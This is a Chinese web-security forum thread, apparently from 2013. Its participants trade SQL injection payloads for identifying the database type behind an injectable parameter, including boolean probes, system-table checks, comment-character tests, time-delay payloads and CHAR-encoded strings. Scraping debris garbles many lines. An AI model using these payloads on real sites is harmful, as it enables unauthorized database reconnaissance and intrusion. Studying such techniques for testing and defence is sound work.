一个注射点如何最快速确认是什么类型数据库+ n5 Z; s# ~8 t; e
xsser (十根阳具有长短!!) | 2013-02-05 12:36+ o% j* ~& n) b. \( l/ f* C
假设这么一个注射点:
" w; ]/ Q4 M! R; T) y. G# Eshow.html?id=2
* I, K7 c8 M. y6 v5 Cmysql:id=2 and version()>03 G/ }& a% R: D: X+ o$ f4 M
oracle:id=2 and '1'||'1'='11
* [' R3 q2 U1 L( S2 g其他的欢迎补充
9 e% G% C2 ~# }1 m9 X1#
/ l4 ?, D/ K) v' d# r( O1 aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:474 t, j- N3 z+ N: E
Access:& J' _) Q0 j" f9 H7 a
aNd aSc(cHr(97))=97
) h" l6 N1 U5 _, N. ~5 V e, Gand exists(select id from MSysAccessObjects)
" u- d h$ [1 }! vSQL Server:" r' O1 k' d, ], T; s) Q
and exists(select id from sysobjects)
( p" Y: Q0 e; R1 r8 @2 ^2 Sand length(user)>0
" G8 F' L' w2 P& {9 ?MySQL:6 L% `% Z3 s% N9 \ x) a. ^; Z" n$ s
and length(user())>0
& y8 r1 f- I9 O% U& K) S% s+ l* {" K2#5 _* ^! ?2 D4 b5 [8 A5 @
xsser (十根阳具有长短!!) | 2013-02-05 12:486 j5 Y4 ~. x5 a/ v7 j' d' p
@upload 如果这些都不是呢…& D0 g2 @" o- K; y6 n
3#! W9 n w6 @3 v4 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
. q% R3 B7 t' O: u( i@xsser 不快速的,延时注入
6 B- v9 U8 P f( {- ^ |不知道这样写对不对
( w* Z K) ?( ?# z( B6 a( ymssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3' U' Q- a: M: a1 D9 I& x, ?
mysql:id=2 and select benchmark(1e8,current_date());
: Q+ ]: v) g2 k( D+ m4#
( F7 [( q* n9 Z. e. u% u; c0 nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:104 Z- P' [8 G: w! o- Y5 _
最快的貌似是看报错信息
/ m' H' p# z" Yoracle error
D. U; T. _5 l# `, @( y; Bmssql error
$ y5 Y" x1 V* y- W% m* |mysql error
5 y2 x' e5 Y9 W, }9 Q& g8 ~$ ?5#
3 E) Z4 [) ^- \, PNimda (你们都是坏银~) | 2013-02-05 13:14' Y- y+ }- M! p3 G
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6 y1 z+ i- x% a& P6#) }9 v" {- N' e9 v0 ~. Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
$ m5 |: p' d; k, l9 n( k, h“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( W* `1 v9 k4 d$ f# o( }: ^6 e
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
9 o$ ~" B3 S4 w) V8 M% D“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
[+ h' h3 l; `7#
u$ M u7 J. c* h( Z/ f4 Q_Evil (HackEnd) | 2013-02-05 13:33
+ ^5 p1 s- M; E( G4 wPostgreSQL7 f: T1 n, Z/ n$ a7 p
8#4 B+ b- T9 Q8 p7 P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
0 k' C8 h" d% V& w切换编码 and 1=1$ N% R% N% G; m7 C
oracle:
% S/ @2 S. F% t; q; J; ~CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)" W) N3 y) u/ `( z0 d
mssql:
" j- K4 S" I8 uCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)/ d. k( B, e$ ]$ V- x% i% Z
mysql:
. A7 E( a; W/ f, S. B9 }CHAR(97, 110, 100, 32, 49, 61, 49)! Z5 x9 E( \) [ E1 [/ c
9#
' n# q" n% p2 p$ n- U# K" x8 U, uxsser (十根阳具有长短!!) | 2013-02-05 14:31% _4 ?2 o" g+ a6 ^- _
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?7 |' q) Z6 H x: l- d: C
10#
; B- S7 i" F! a# D- Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46& E; p" s# a! U. N* s
@xsser 是奇葩数据库类型的么?+ K. V3 a" {! ?/ F5 `
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
~/ K2 T5 f. N6 M1.是否可以使用特定的函数来判断,该数据库特有的5 V; W/ X3 e0 D
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 M v. k2 q3 E* a L3.是否可以编码查询
( m9 {7 `" c; T. j4.是否显可以利用错信息2 T6 a* |8 d _- y) q+ w$ \' w; m0 u
5.是否存在数据库某些特性辅助判断- J6 Q b$ M5 V; i! m
个人见解
, ^! Z' T, `3 b& L; a$ c4 c11#
* J- Z& i( B. i( j小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55( J7 d" i: B( l! X3 i& R) P2 N
已收藏,mssql可以直接看到错误提示的吧~8 a, l# H+ H: d$ p2 O) ^# o! t& l6 i
12#
; G7 V/ ]1 C5 I3 K% y M3 P& sPasser_by | 2013-02-05 15:09
7 F8 }* A3 W4 ^) Z2 M' s曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。9 h' |: f8 I3 o% w7 @" s' w# ]
from:http://zone.wooyun.org/content/260 |